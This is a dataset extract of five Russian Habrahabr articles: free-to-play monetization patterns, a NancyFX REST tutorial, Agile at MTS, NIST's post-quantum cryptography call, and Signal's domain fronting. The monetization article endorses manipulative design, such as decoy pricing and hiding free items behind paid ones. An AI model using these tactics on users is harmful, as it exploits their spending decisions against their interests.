source
stringclasses
4 values
title
stringlengths
5
287
keywords
stringlengths
6
1.23k
summary
stringlengths
11
5.12k
content
stringlengths
2
164k
url
stringlengths
33
173
habrahabr
Пять мощных паттернов монетизации F2P, использующих в дизайне UX поведенческую экономику
['UX', 'монетизация игр', 'поведенческая экономика']
Поведенческая экономика — это потрясающая область экономики, исследующая психологию процесса принятия решений потребителями. В течение многих лет я тестировал и исследовал множество мобильных...
Поведенческая экономика — это потрясающая область экономики, исследующая психологию процесса принятия решений потребителями. В течение многих лет я тестировал и исследовал множество мобильных игр и приложений различных жанров. Мне нравится деконструировать и анализировать различные аспекты цифровых продуктов: адаптацию, базовый цикл, использование социальных сетей, метаигры, PvP и т.д. Паттерны монетизации были для меня особенно интересны, потому что я получил экономическое образование. В статье представлено пять нетрадиционных паттернов монетизации, каждый из которых основан на строгом принципе поведенческой экономики. Все они отличаются от привычных, но работают невероятно хорошо. Но прежде чем приступить к паттернам, давайте разберёмся, в чём же заключаются принципы поведенческой экономики и как они применимы к этим нетрадиционным паттернам. Что такое «поведенческая экономика»? Это область психологии, изучающая процессы принятия экономических решений физическими лицами и организациями. Расходы потребителя обратно пропорциональны величине дискомфорта от затрат, отражающей уровень дискомфорта, испытываемого после расставания с одним долларом (или другой единицей валюты). Поведенческая экономика (ПЭ) разделяет потребителей на 3 отдельные категории по уровню дискомфорта, испытываемого при совершении расходов. Скряги (24%): уровень появления дискомфорта у этих покупателей находится ниже среднего. Беззаботные (60%): тратят средне. Транжиры (15%): уровень дискомфорта находится выше среднего. Исследования подтверждают, что почти четверть потребителей относится к «скрягам». У этих потребителей очень низкий порог затрат из-за высокой чувствительности к дискомфорту. Это распределение в играх free-to-play ещё более искажённое: всего 1% базы игроков совершает какие-нибудь покупки! Вопрос: как снизить дискомфорт от затрат у потребителей-«скряг»? Ответ зависит от нескольких обнаруженных ПЭ принципов, делающих стоимость продукта менее дискомфортной: 1. Эффект «обманки»: закрепление цены На принятие решений потребителями влияют добавленные в варианты стоимости «обманки». Выбор часто совершается относительно сделанных предложений, а не на основании абсолютных предпочтений. Технически эффект «обманки» называется «выбором с асимметричным доминированием». Он возникает, когда предпочтение одного варианта другому становится результатом добавления третьего (похожего, но менее привлекательного) варианта. В этом видео вкратце объясняется эффект «обманки» (на английском): В целом, если у потребителей есть выбор из покупки большого стакана попкорна за 7 долларов и маленького за 3 доллара, то они выбирают в соответствии со своими обычными предпочтениями. Но если добавить третий, средний, вариант за 6,5 долларов (который даже несколько лучше в отношении стоимости/объёма по сравнению с самой дешёвым вариантом, но дешевле самого дорогого), то внимание потребителя сместится с дешёвого варианта на сравнение между «обманкой» и самым дорогим вариантом . Потребители чувствуют, что могут получить гораздо больше выгоды , заплатив всего немного больше , поэтому считают это правильным. Якоря отвлекают внимание потребителей от вариантов, которые компании стремятся продать, в то же время оставляя ощущение удовлетворённости от того, что они «обхитрили» систему. В этом примере варианты B и C на самом деле являются «обманками», привлекающими к навязываемому варианту A, который всего за 3 лишних доллара даёт доступ к содержимому двух остальных вариантов. Конечно же, для потребителей выбор очевиден. В магазинах многих мобильных игр используется этот тип закрепления «обманки» для продажи дорогостоящих товаров. Например, в магазинах «Diamond Digger Saga» и «Farmville 2» показываются всего три варианта , использующих «обманки» для манипуляции предпочтениями игроков. Это позволяет снизить ошибку отбора и не перегружать игроков большим количеством вариантов, которые могут привести к «параличу выбора», и помогает конвертации благодаря закреплению цен. Заметьте, что на экранах выше есть кнопки «More offers/packages» («Другие предложения/пакеты»), в которых доступно 5-10 предложений, но для эффекта «обманки» видны всего три. Вам нужные ещё доказательства? Посмотрите, как эта стратегия используется в Hearthstone . 2. Взаимность: психология бесплатных образцов Взаимность — это социальная норма, задействующая неденежный обмен между людьми. В целом она заключается в ответе на действие другим аналогичным действием. Это один из основных законов социальной психологии . Он гласит, что во многих социальных ситуациях мы отплачиваем тем, что получили от других. Другими словами, если кто-то сделал вам одолжение, вы, вероятнее всего, поступите аналогично. В благотворительности взаимность часто используется следующим образом: в письма с просьбами о помощи вкладываются подарки. Супермаркеты пытаются стимулировать людей покупать больше, предлагая бесплатные образцы. Ниже представлены стандартные для супермаркетов картины. Компании предлагают бесплатные образцы своей продукции, напитков и еды, чтобы возбудить аппетит потребителей без каких-либо начальных инвестиций. Кафе и магазины по всему миру приманивают потребителей с помощью небольших образцов своей продукции. К такой модели относятся и пробные версии ПО. Вопрос: как эта модель из реального мира может использоваться в виртуальных внутриигровых магазинах? В популярных играх жанра «три в ряд» компании King.com с выгодой используется эта модель и психология: Pet Rescue Saga (King.com) В игре Pet Rescue Saga с самого начала используется известная по другим играм «три в ряд» модель, при которой игрок по мере прохождения игры может разблокировать полезные бонусы. Он получает немного бонусов на ПРОБУ, и когда они заканчиваются, игра предлагает купить ещё. В Pet Rescue есть множество бонусов, но самые распространённые, такие как БОМБА или РАКЕТА, появляются на нескольких уровнях. Их невозможно купить в игре. Если игрок проигрывает на ранних уровнях, открывается стандартный экран «Попытки закончились» с предложением купить ещё 5 попыток. Но такое изначальное поведение со временем меняется. Когда игроки продвигаются в игре дальше, сообщения на экране проигрыша становятся предложениями купить новые типы бонусов. Тех, которые нельзя было получить изначально и доступных только на экране проигрыша. Вы можете спросить: что же тут необычного, они просто заменили предложение купить 5 попыток на пару случайных бонусов? … «случайных»? Вы уверены? Посмотрите внимательнее. Новые предложения — это БОЛЕЕ МОЩНЫЕ версии уже имеющихся бонусов (тех, которые игрок использовал бесплатно)! Что же происходит? Давайте продемонстрируем наглядно: В других играх King.com тоже часто используется эта модель. Я рассмотрел её в другой статье, которую можно прочитать здесь . 3. Встречное предложение: торг Стратегии поведенческой экономики используют торг для снижения дискомфорта от покупки. Торг значительно влияет на процесс принятия решения потребителями. Торг и встречные предложения используются уже многие века. Люди любят перед совершением покупки поторговаться. И покупатели, и продавцы понимают это и оставляют в указанной цене на товары запас для значительной маржи. Даже в эру фиксированных цен покупатели всегда сравнивают цены с другими магазинами и сайтами, например, с Amazon, Macy's и другими, чтобы найти самое выгодное предложение и ощущать возможность выбора. Вопрос: как эта модель из реального мира может использоваться в виртуальных внутриигровых магазинах? В последнее время этот принцип используют во многих f2p-играх. Ниже представлен пример из типичной игры «три в ряд» Farm Heroes Saga. Когда у игрока кончаются попытки до прохождения уровня, он получает предложение о покупке: 5 попыток за 9 золотых слитков, чтобы продолжить, не теряя достигнутого прогресса. Однако, если игрок не покупает, в следующий раз на этом экране он получает встречное предложение со скидкой! Заметьте, что цена осталась той же — 9 золотых слитков — но предложение подсластили , предоставив игрокам дополнительную выгоду пакетом бонусов, имеющим бóльшую стоимость по сравнению с предыдущим предложением! Важно: заметьте, что новое предложение представлено как вариант выбора (вместо одной кнопки с ценой показаны две). Это даёт игрокам понять на подсознательном уровне, что им предоставляется встречное предложение. Заметьте , как незначительные изменения в размере и зачёркнутые цены (9 вместо 15 золотых слитков) помогают навязать новое предложение со скидкой. 4. Эффект владения: люди приписывают бóльшую ценность тому, что они имеют В психологии и поведенческой экономике эффект владения (также известный как «неприятие потерь») — это гипотеза о том, что люди приписывают бóльшую ценность вещам только потому, что владеют ими или создали их. В Slotomania используется уникальная модель монетизации, основанная на эффекте владения. Он используется как эффективный механизм конверсии, заставляющий людей считать их выбор разумным. Заметьте значок «свинки», являющийся частью интерфейса Slotomania (см. изображение выше), похожий на мысленную модель свиньи-копилки. Вопрос: как работает модель с «копилкой»? В сущности, Slotomania создаёт внутриигровую покупку (IAP), повторяющую мысленную модель свиньи-копилки из реальной жизни. Игрок видит, что его усилия = Выигрыш + Проведённое в игре время =< количеству HC внутри «свиньи». Но как это заставляет игрока чувствовать покупку разумной или отличающейся от других IAP? Почему игрок должен купить или предпочесть это предложение? За 3 долларов в магазине предлагается 45 000 монет, временная акция за 2,99 долларов предлагает 51 750 монет. Но разбивание свиньи даёт всего 5 000 монет. Правильно? Однако если игрок продолжает играть, банк свиньи-копилки продолжает увеличиваться (каждый поворот рычага и каждая секунда, проведённая в игре, добавляет в свинью бесплатные монеты), и, как вы видите, Теперь она предлагает 132 334 монет всего за 2,99 доллара! Это выгоднее самого дешёвого предложения в магазине (45 000 монет за 3 доллара) и временной акции (51 750 монет за 3 доллара). Разница огромна, и предложение выглядит выгодной покупкой! P.S. Игрок может разбить копилку за фиксированные 2,99 доллара в любое время игры, вне зависимости от накопленной там суммы. С точки зрения психологии игрок ощущает сумму в свинье-копилке результатом своих собственных усилий. Сумма в копилке = Время, проведённое в игре. Это создаёт психологическую связь. 5. Психология супермаркета: покажите потребителям то, что они должны увидеть! Когда человек заходит в супермаркет, он обычно стремится потратить как можно меньше денег. Но супермаркетам нужно, чтобы он тратил как можно больше, и это отражается на планировке магазинов. И вот как они это делают. В любом супермаркете или торговом центре самые необходимые или повседневные товары находятся в дальней части магазина, чтобы потребители могли проходить мимо дорогих и модных товаров, которые они не планировали покупать, но в результате покупают. Такая схема расположения используется в большинстве супермаркетов по всему миру. Вопрос: как эта модель из реального мира может использоваться в виртуальных внутриигровых магазинах? Похожим образом реализована Marvel Contest. При переходе на этот экран инвентарь кристаллов с вертикальной прокруткой показывает игроку привлекательные и визуально впечатляющие товары. Игрок должен вручную прокручивать страницу вниз, чтобы посмотреть или получить кристаллы, выигранные в бою. Замысел здесь в том, чтобы как можно чаще отправлять игрока в магазин/инвентарь. Этого можно достичь ежечасными или ежедневными подарками в виде кристаллов. Так обеспечивается частое посещение этой страницы. С точки зрения UX: любой дизайнер UX в обычных условиях сделал бы экран более удобным, отсортировав список так, чтобы бесплатные и доступные кристаллы находились сверху. Он не скрывал бы их ниже в списке , чтобы игроки затрачивали как можно меньше усилий для их поиска. Но в этом случае дизайн потока выполнен таким образом, чтобы стимулировать игроков как можно чаще посещать магазин и замечать дорогостоящие предметы. Здесь используется психология супермаркетов и розничной торговли. Бесплатные предметы скрыты от взгляда игрока. Ему приходится сначала видеть дорогие предметы, а потом уже прокручивать страницу вниз и искать бесплатные («хлеб и яйца» из супермаркета). Всю статью об UX Marvel Contest Of Champions можно прочитать здесь . Заключение Представленные выше стратегии использовались в маркетинге продуктов и услуг в течение многих веков, но с переходом в эру цифровых и виртуальных товаров те же надёжные принципы можно интегрировать в современные продукты. Благодаря использованию умного дизайна UX это не будет выглядеть слишком назойливо. Эффект «обманки»: закрепление цены. Взаимность: психология бесплатных образцов. Встречное предложение: торг. Эффект владения: люди приписывают бóльшую стоимость тому, что они имеют. Психология супермаркета: покажите потребителям то, что они должны увидеть! Показанные выше примеры относятся к мобильным играм, но могут быть адаптированы под любые цифровые приложения и услуги.
https://habrahabr.ru/post/318042/
habrahabr
Фреймворк NancyFX и сервисы в стиле REST
['C#', '.NET', 'микросервисы', 'архитектура', 'рефакторинг']
Здравствуйте, дамы и господа. Подумалось, в нашей пятничной рубрике еще не было ни одной дельной статьи о надувных динозаврах в контексте гостиничного бизнеса. Если вдруг вас совсем не...
Здравствуйте, дамы и господа. Подумалось, в нашей пятничной рубрике еще не было ни одной дельной статьи о надувных динозаврах в контексте гостиничного бизнеса. Если вдруг вас совсем не интересует фреймворк NancyFX и микросервисы на платформе .NET, создаваемые с его помощью — почитайте про динозавров! Наш офис ни с чем не перепутаешь — у нас тут установлены надувные динозавры, целый парк видавших виды мониторов, а весь коллектив постоянно гоняет йоркширские чаи. Но, чтобы уделять на такой живительный размандык то время, которого он, безусловно, заслуживает, мы должны быстро и эффективно решать наши основные задачи – в частности, поддерживать сервис, при помощи которого наши клиенты могут бронировать гостиничные номера. Чтобы это получалось еще лучше, мы постепенно переделали наш сегмент базы кода под микросервисную архитектуру . Первым делом мы написали API Reservations, выделив весь функционал, связанный с созданием и извлечением записей о бронировании в отдельный домен с независимыми системами версионирования, релизов и обслуживания. Так нам удалось без труда поддерживать новые кроссплатформенные фронтенды – например, мобильную версию и форму бронирования на основе Node.js Но затем мы пошли далее и выделили такие этапы бронирования (например, отправку сообщений с подтверждениями), которые не обязательно должны осуществляться строго до того, как подтверждение будет возвращено на фронтенд. Сам процесс бронирования можно свести к двум наборам действий: заказываем номер в отеле и сохраняем соответствующую запись, если можем быть уверены, что после этого обе операции будут выполнены максимально оперативно. Для этого мы добавили в наш инструментарий очереди сообщений и задействовали набор процессоров команд и событий, предназначенных как раз для обработки таких внеполосных задач. Вскоре нам понадобился набор сервисов, каждый из которых отвечал за конкретную часть домена. Чтобы их разработать, нам потребовалось быстро и легко написать REST API, желательно без пробуксовки. Вот тогда мы и нашли Nancy. NancyFx – потрясающий легкий веб-фреймворк для .NET. Если вы ориентируетесь во фреймворках для других языков, например, Sinatra и Express, то уже вполне представляете, что от него ожидать. С другой стороны, если знакомы лишь с такими .NET-глыбами как Microsoft MVC и WCF, то, вполне возможно, вас ждет приятный сюрприз. Вместо того, чтобы распевать дифирамбы Nancy (я это могу делать часами), лучше продемонстрирую вам, насколько проще пареной репы написать на Nancy простейшую оконечную точку в стиле REST менее чем за 15 минут. Шаг 1: Создаем консольное приложение на C# Разумеется, это можно сделать и на другом языке для платформы .NET. Даже на VB. Шаг 2: Импортируем Nancy Nancy предоставляется в виде пакетов Nuget, так что рекомендую воспользоваться менеджером пакетов Visual Studio – самым удобным инструментом для импорта двоичных файлов в проект и ссылки на них. В данном случае нам понадобится пакет Nancy.Hosting.Self , зависящий от основного пакета Nancy. Шаг 3: Создаем хост Nancy В методе Main (или эквивалентной входной точке программы) напишите: using (var host = new NancyHost(new Uri("http://localhost:1234")) { Console.ReadKey(); } Вы уже создали консольное приложение, которое слушает HTTP на порте 1234. На самом деле, нам нравится так делать, это простая реализация обратных прокси, передающих внешние HTTP-запросы управляемому процессу. Однако, Nancy поддерживает и OWIN, традиционный IIS-хостинг. Шаг 4: Создаем маршрут к ресурсу Создаем наш первый маршрут, наследуя класс Module из Nancy. Напишите вот это в файле с новым проектом: class Dinosaur { public string Name { get; set; } public int HeightInFeet { get; set; } public string Status { get; set; } } class DinosaurModule : NancyModule { private static Dinosaur dinosaur = new Dinosaur() { Name = "Kierkegaard", HeightInFeet = 0, Status = "Deflated" }; public DinosaurModule() { Get["/dinosaur"] = parameters => dinosaur; } } При запуске хоста Nancy просматривает вашу сборку и ищет в ней классы, наследующие NancyModule . Они будут инстанцироваться всякий раз при поступлении запроса, обеспечивать маршрутизацию и действия. В данном случае мы создаем простой маршрут GET в конструкторе модуля и пользуемся лямбда-выражением, при помощи которого возвращаем определенный нами объект модели. Если вызвать localhost :1234/dinosaur без заголовка с типом содержимого, то модель динозавра придет нам в формате JSON. Запустите приложение, попробуйте. Шаг 5: Добавляем операцию записи До сих пор наш ресурс был только для чтения. Добавьте в конструкторе DinosaurModule такой код: Post["/dinosaur"] = parameters => { var model = this.Bind<Dinosaur>(); dinosaur = model; return model; }; Привязка принимает тело HTTP-запроса и пробует ассоциировать его с заданным типом модели. Попытайтесь послать следующий код на localhost :1234/dinosaur, тип содержимого — application/json: { "name": "Kierkegaard", "heightInFeet": 6, "status": "Inflated" } Тело запроса следует привязать к классу Dinosaur и присвоить нашему статическому члену Dinosaur . Как и в случае с конечной точкой Get , мы возвращаем модель, после чего Nancy сериализует модель JSON. В Nancy есть такие возможности как обсуждение содержимого и рендеринг представления, но в данном демонстрационном примере нам вполне подойдет поведение, задаваемое по умолчанию. Шаг 6: Создаем и возвращаем индексированные ресурсы Как правило, когда мы пишем REST API, нам требуется по несколько от каждого ресурса. Давайте немного модифицируем класс: public class DinosaurModule : NancyModule { private static List<Dinosaur> dinosaurs = new List<Dinosaur>() { new Dinosaur() { Name = "Kierkegaard", HeightInFeet = 6, Status = "Inflated" } }; public DinosaurModule() { Get["/dinosaurs/{id}"] = parameters => dinosaurs[parameters.id - 1]; Post["/dinosaurs"] = parameters => { var model = this.Bind<Dinosaur>(); dinosaurs.Add(model); return dinosaurs.Count.ToString(); }; } } Теперь маршрут - /dinosaurs . Объект parameters в лямбда-выражении – это, в сущности, динамический тип, комбинирующий значения из маршрута, строки запроса и тела запроса. Определяя параметр {id} в рамках маршрута, можно захватывать его, а потом с его помощью извлекать нужный нам ресурс. По маршруту отправки можно и дальше постить динозавров и добавлять их в коллекцию. В данном демонстрационном примере мы просто возвращаем индекс созданного ресурса как строку в теле отклика. Возможно, вы предпочтете возвращать навигационную ссылку на свежий ресурс, чтобы пользователь мог без труда к нему обращаться. Шаг 7: Ваш ход В финале нашей весьма обзорной экскурсии у нас получилась такая спартанская оконечная REST-точка. А что дальше? Естественно, мы хотим держать наши ресурсы в каком-то долговременном хранилище данных, а не в памяти, но что насчет валидации, обработки ошибок, безопасности? При всей легкости и простоте Nancy прямо «из коробки» решает и многие подобные вопросы, а также предоставляет другие возможности, которые вы сможете с легкостью внедрить в проект. Итак, общее представление о Nancy вы составили – а теперь почитайте документацию .
https://habrahabr.ru/company/piter/blog/318334/
habrahabr
Может ли компания с десятками тысяч сотрудников быть Agile: опыт МТС
['мтс', '3g', '4g', 'интернет', 'связь', 'программирование', 'анализ и проектирование систем', 'тестирование it-систем']
Директор центра инноваций МТС Владимир Хренков рассказывает, как сохранить гибкость при крупных размерах. Нет, это не про идеальный шпагат для тяжеловеса. Речь идет об Agile — методике,...
Директор центра инноваций МТС Владимир Хренков рассказывает, как сохранить гибкость при крупных размерах. Нет, это не про идеальный шпагат для тяжеловеса. Речь идет об Agile — методике, позволяющей разрабатывать гибкое ПО, которое бы отвечало всем требованиям современного бизнеса. Но чем крупнее компания, тем она считается неповоротливей. И тем сложнее ей приспособиться к новым техническим веяниям. Однако с недавних пор Agile перестала быть атрибутом исключительно мелких IT-контор и становится все более востребованной у больших игроков. Среди них — крупнейший в России оператор сотовой связи МТС. Владими Хренков расскажет об особенностях перехода на гибкие технологии, а также можно ли им доверить решение проектов государственной важности. Agile сейчас у всех на слуху. Раньше гибкая методология разработки была особенностью небольших IT-компаний. Сегодня Agile набирает популярность у крупных компаний, таких как МТС. 15 лет назад, окидывая взором с горных вершин Юты светлое будущее мирового IT-рынка, 17 IT-специалистов разработали Agile Manifesto. Представляю, как сильно бы они удивились, увидев где-то на горизонте новость о том, что в России в 2016 году пройдет конференция на тему «Гибкие подходы к управлению государственными проектами». Государственными проектами, понимаете?! То, что было придумано для разработчиков и активно применялось IT-стартапами, сейчас внедряют на уровне правительств стран. Почему? Зачем? И главное, возможно ли это на самом деле — быть гибким, если ты не стартап и у тебя в команде значительно больше десяти сотрудников — скажем, в 7000 раз? Мне есть, что сказать об этом, потому что я знаю, как работает гибкая методология в компании МТС, с десятками тысяч сотрудников и сотней миллионов абонентов. Проверка на гибкость Сразу оговорюсь, быстрое внедрение инноваций — это основа нашей работы, и так было всегда. Мы работаем на конкурентном рынке, где скорость выхода нового сервиса напрямую отражается на уровне доходов, которые он нам принесет. Мы просто не можем, и никогда не могли, себе позволить годами согласовывать создание приложения или собирать тонны бумаг для обновления тарифа. Но, согласитесь, легко говорить о том, что ты выпускаешь minimum viable product, если у твоего продукта изначально будет десять — ну, или сто — клиентов. Легко говорить об индивидуальном подходе и скорости реакции на пожелания клиентов, даже когда их тысяча. Но когда у тебя больше 100 млн абонентов, они едва ли готовы к тому, что ты предложишь им что-то «минимально жизнеспособное», а ты вряд ли готов быстро отреагировать на все их пожелания по улучшению продукта. Именно поэтому для нас сразу было очевидно, что само внедрение Agile-подхода потребует от нас особой гибкости, что наш путь в этом направлении будет отличаться от пути стартапов. Зачем меняться, когда и так всё «летит» Давайте разберемся для начала, зачем вообще нам это нужно. На рынке телеком-услуг России МТС — лидер. Инновационность и умение быстро реагировать на изменения внешней среды и запросы клиентов — это основа нашего существования. Но мы уже давно не только оператор телекоммуникаций. В частности, МТС успешно развивается на IT-рынке, у нас более 20 собственных мобильных приложений, мы предлагаем облачные сервисы, IoT-решения. Этот рынок диктует еще более высокий темп адаптации к изменениям. Поэтому мы поняли, что для реализации проектов, требующих от сотрудников новых компетенций и нового уровня гибкости, нам нужен новый формат взаимодействия внутри компании, и внедрили его на базе собственного центра инноваций. Сразу отмечу, что это не R&D-центр, мы занимаемся не только разработками и поиском новых ниш, но и реализацией проектов, а также дальнейшим развитием продуктов. В рамках центра под каждое направление создаются классические Agile-команды: все сотрудники, вовлеченные в проект, работают в одной комнате, экономя время, которое они потратили бы на бесконечные переписки и встречи; они участвуют в разработке только одного продукта или направления; их усилия нацелены на решение конкретных первостепенных задач, а не на составление далеко идущих планов. Получается такое множество стартапов под крылом лидера рынка. При этом Agile-команды не тратят время на то, чтобы придумать «сферического коня в вакууме», они делают тот самый minimum viable product, слушают клиентов и дорабатывают продукт, исходя из их пожеланий. Время – деньги Высокая скорость запуска продуктов при этом обеспечивается не только упрощением взаимодействия внутри команды, но и созданием особого формата согласования решений команды. Например, мы можем утвердить финансирование проекта на уровне президента МТС буквально за час. Для компании с десятками тысяч сотрудников и акционерами по всему миру это без преувеличения потрясающий результат. Как мы этого достигаем? Во-первых, простоту согласования финансирования обеспечивает итеративный подход — мы не говорим о выделении огромного бюджета на пять лет вперед, мы всегда рассматриваем конкретную задачу на ближайшее время и объем ресурсов, необходимых для решения этой задачи. Во-вторых, скорость выделения финансирования резко сократилась за счет создания особого формата согласования. Так, для каждого проекта инновационного центра назначается курирующий вице-президент. И наше согласование идет коротким путем — в нем участвует только курирующий вице-президент и президент МТС. Как видно, никаких лишних, промежуточных звеньев в этой цепочке нет. Повторюсь, весь процесс выделения финансов в результате укладывается в час. Вы можете подумать, что это касается только каких-то незначительных доработок существующих сервисов или запуска продуктов для очень ограниченных аудиторий, но это не так: первые Agile-команды МТС работают над масштабными проектами, на которые компания делает ставку, — над развитием облачных сервисов и eHealth (электронной медицины). Подводные камни Теперь о самом интересном — о подводных камнях, которые могут встретиться на пути внедрения гибкой методологии в крупной компании. Первым препятствием может стать ментальность людей. Не каждый сотрудник готов быстро адаптироваться к новому формату работы: сложностью может стать и новый уровень ответственности, и необходимость работать только над одним проектом, и понимание того, что выпущенный в мир продукт — это не красивая финальная точка проекта, а только начало работы над ним. Для нас такие сложности нельзя назвать критичными, поскольку рынки, на которых работает МТС, всегда требовали готовности сотрудников к изменениям, и большинство специалистов оказалось открыто и способно к переходу на новый формат работы. Но для некоторых крупных компаний эта проблема может стать серьезным сдерживающим фактором. Вторая особенность, о которой я уже упоминал, заключается в том, что мы не можем себе позволить выпускать «минимально жизнеспособный» продукт, предлагая его сразу десяткам миллионов клиентов. Маловероятно, что наши абоненты готовы меняться вместе с нами, — они по-прежнему хотят, и абсолютно справедливо, сразу (и желательно первыми) получать максимально качественный продукт. И здесь на выручку нам приходят те самые десятки тысяч сотрудников, наши дочерние компании, наши лояльные партнеры, которые готовы стать первыми пользователями инновационных продуктов МТС. Получая от них обратную связь, мы дорабатываем сервисы, настраиваем услуги под реальные нужды клиентов. Это тот ресурс, которого нет ни у одного стартапа. Как это работает Сейчас мы тестируем новое облачное решение, и изначально концепция продукта подразумевала хранение данных в одном ЦОДе. Но первый же клиент отметил, что для обеспечения необходимого уровня надежности сервиса он считает важным резервирование во втором ЦОД, расположенном в другом городе. Мы быстро скорректировали саму концепцию продукта, и теперь это базовое условие предоставления сервиса. У нас есть хорошо развитая собственная инфраструктура (в данном случае — собственные ЦОДы в семи городах России), и это позволяет нам быстро адаптироваться к таким пожеланиям. Более того, если тесты демонстрируют негативную реакцию на продукт, то мы закрываем проект. Мы не тратим деньги и силы на то, чтобы бесконечно дорабатывать то, что явно не станет жизнеспособным — не по нашим ощущениям, а по мнению клиентов. Именно умение слышать клиентов и быстро реагировать на их пожелания — основа Agile в нашем понимании. На какие результаты мы рассчитываем? Какие цели ставим перед собой? Мы планируем достичь скорости IT-стартапов — когда идея, возникшая утром, реализуется в работающее решение уже вечером того же дня, а крупные новые продукты проходят путь от идеи до запуска в течение 3—4 месяцев. Мы также хотим, чтобы наши клиенты выиграли с точки зрения качества предлагаемых им продуктов за счет того, что мы готовы еще быстрее и тоньше настраивать сервисы с учетом обратной связи. В целом в 2017 году МТС через инновационный центр планирует запустить порядка десяти крупных digital-продуктов в четырех новых для МТС направлениях бизнесе. Главное – не упустить главное Вместо вывода отмечу следующее: я вижу ключ успеха к внедрению любой новой методологии в том, чтобы при ее применении не обесценить уже существующие в компании преимущества, а заставить работать их на твои новые задачи в новом формате. Мы взяли лучших специалистов на рынке (ведь большинство из них уже у нас), воспользовались возможностью тестировать сервис командами из числа сотрудников (которых так много, что можно собрать целевые группы под любую услугу) и лояльной базы (которая формировалась в течение десятилетий). Уверен, у вас найдутся свои преимущества, способные стать фундаментом для построения любой системы, для внедрения любой методологии — будь то модный сегодня Agile или то, что лично вам кажется более эффективным. Источник: www.banki.ru
https://habrahabr.ru/company/ru_mts/blog/318338/
habrahabr
НИСТ просит помощи в создании надежных постквантовых методов шифрования данных
['квантовые вычисления', 'криптография', 'защита данных']
Национальный институт стандартов и технологий (National Institute of Standards and Technology, NIST) на днях обратился к общественности с просьбой помочь в решении проблемы, которую...
Национальный институт стандартов и технологий ( National Institute of Standards and Technology , NIST) на днях обратился к общественности с просьбой помочь в решении проблемы, которую представители самого института называют «надвигающейся угрозой информационной безопасности». Речь идет о том, что квантовые компьютеры, прототипы которых уже работают, в будущем смогут легко взламывать любые коды шифрования, которые используются для защиты информации. Представители НИСТ просят у специалистов по кибербезопасности, ученых и обычных пользователей устроить брейнсторминг по вопросу «постквантовой криптографии», алгоритмов, которые были бы недоступными и для квантовых компьютеров. Запрос организации официально зарегистрирован в Федеральном Реестре . НИСТ занимается тем, что вместе с Американским национальным институтом стандартов ( ANSI ) участвует в разработке стандартов и спецификаций к программным решениям, используемым как в государственном секторе США, так и имеющим коммерческое применение. Основная миссия института -обеспечение инновационной и индустриальной конкурентоспособности США путём развития наук об измерениях, стандартизации и технологий с целью повышения экономической безопасности и улучшения качества жизни. В целом, проблему, очерченную НИСТ, действительно можно назвать очень серьезной. Дело в том, что сейчас большинство традиционных криптосистем опираются на проблемы факторизации целых чисел или же задачи дискретного логарифмирования. Но такие задачи легко разрешить на мощных квантовых компьютерах, которые работают с алгоритмом Шора . Стоит отметить, что термин «постквантовая криптография» вполне устоявшийся. Он обозначает часть криптографии, которая останется актуальной и при появлении квантовых компьютеров и квантовых же атак. В целом, постквантовая криптография основывается на пяти различных подходах, которые могут решить проблему квантовых атак. Вот эти подходы: 1. Криптография, которая основана на хэ-функциях . Здесь речь идет, например, о подписи Меркла с открытым ключом на основе хэш-дерева. Сам метод был предложен Ральфом Чарльзом Мерклом в 1979 году. Уже тогда он считал свою идею интересной альтернативой цифровым подписям RSA и DSA. Проблемой метода является то, что для любого открытого ключа на основе хэш-функции есть ограничение на количество подписей, которые можно получить из соответствующего набора закрытых ключей. Поэтому метод и не использовался. О нем вспомнили только тогда, когда речь зашла о системах, устойчивых к квантовым компьютерам; 2. Криптография, основанная на кодах исправления ошибок . Этот метод считается одним из наиболее перспективных. Классическим примером можно считать схемы шифрования McEliece и Niederreiter ; 3. Криптография, основанная на решетках . Еще один перспективный метод. Здесь примером можно считать Ring-Learning with Errors, а также NTRU и GGH ; 4. Криптография, основанная на многомерных квадратичных системах . Этот способ был предложен в 1996 году, он представляет собой подпись с открытым ключом Жака Патарина HFE; 5. Шифрование с секретным ключом . А здесь речь идет о шифре Rijndael, предложенном в 1998 году и впоследствии переименованном в AES (Advanced Encryption Standard). Как уже говорилось выше, несмотря на то, что квантовые вычисления находятся в зачаточном состоянии, решить проблему надежности криптографических методов в этой сфере нужно уже сейчас. Перенимают квантовые идеи и классические компьютеры . Дастин Муди (Dustin Moody), математик из НИСТ, подтверждает сказанное, говоря, что сейчас главная задача — разработка новых методов шифрования для хранимой и передаваемой информации. «Мы хотим заменить три существующих криптографических стандарта НИСТ, которые могут быть наиболее уязвимыми с точки зрения воздействия криптографических вычислений», — говорит Муди. Эти стандарты — FIPS 186-4 , NIST SP 800-56A и NIST SP 800-56B . У общественности есть почти год на подачу своих идей. Прием их заканчивается в ноябре следующего года. После этого НИСТ будет рассматривать поступившие заявки. Предложения, которые соответствуют стандартам постквантовой криптографии, заданным НИСТ, будут озвучены на открытом семинаре в 2018 году.
https://geektimes.ru/post/283996/
habrahabr
Мобильное приложение Signal обходит государственную блокировку, пропуская трафик через Google App Engine
['Signal', 'шифрование', 'крышевание доменов', 'domain fronting']
Схема обхода государственной цензуры через крышевание доменов, из научной работы 2015 года С 21 декабря 2016 года криптомессенджер Signal от Open Whisper Systems стал использовать оригинальный...
Схема обхода государственной цензуры через крышевание доменов, из научной работы 2015 года С 21 декабря 2016 года криптомессенджер Signal от Open Whisper Systems стал использовать оригинальный метод обхода государственной цензуры, из-за которой от сети оказались отключены пользователи из Египта и ОАЭ. Метод называется «крышевание доменов» (domain fronting) и подробно описан в 2015 году в научной работе исследователей из университетов Калифорнии, Беркли и Принстона. Цензор видит только домены, указанные в DNS-запросе и в поле TLS SNI, но он не видит HTTP заголовок Host, в котором система и прячет реальное доменное имя для отправки трафика. Реальное доменное имя надёжно спрятано с помощью шифрования HTTPS. С недавних пор правительства Египта и ОАЭ пытаются отключить в странах Signal, блокируя серверы для списка контактов. Теперь, когда пользователи из этих стран отправляют сообщение через Signal, оно проходит через рефлектор (простой скрипт на App Engine) и внешний прокси, но при этом выглядит как обычный HTTPS-запрос к www.google.com . Таким образом, чтобы заблокировать Signal, этим государствам придётся блокировать домены google.com, gmail.com, googleapis.com и многие другие домены, которые разрешено использовать в качестве «крыши» для приложения на Google App Engine. Похожий метод ретрансляторов применяется в других системах обхода государственной цензуры — Tor , Lantern и Psiphon . Как понятно из иллюстрации внизу, схема предусматривает использование промежуточной «крыши» — это сервер фронтенда на промежуточном веб-сервисе. Для такой «крыши» используется легальный посторонний домен. Для этого подходят домены различных облачных сервисов, которые пропускают трафик. Самый надёжный — это домен Google. Схема обхода государственной цензуры через крышевание доменов, из научной работы 2015 года 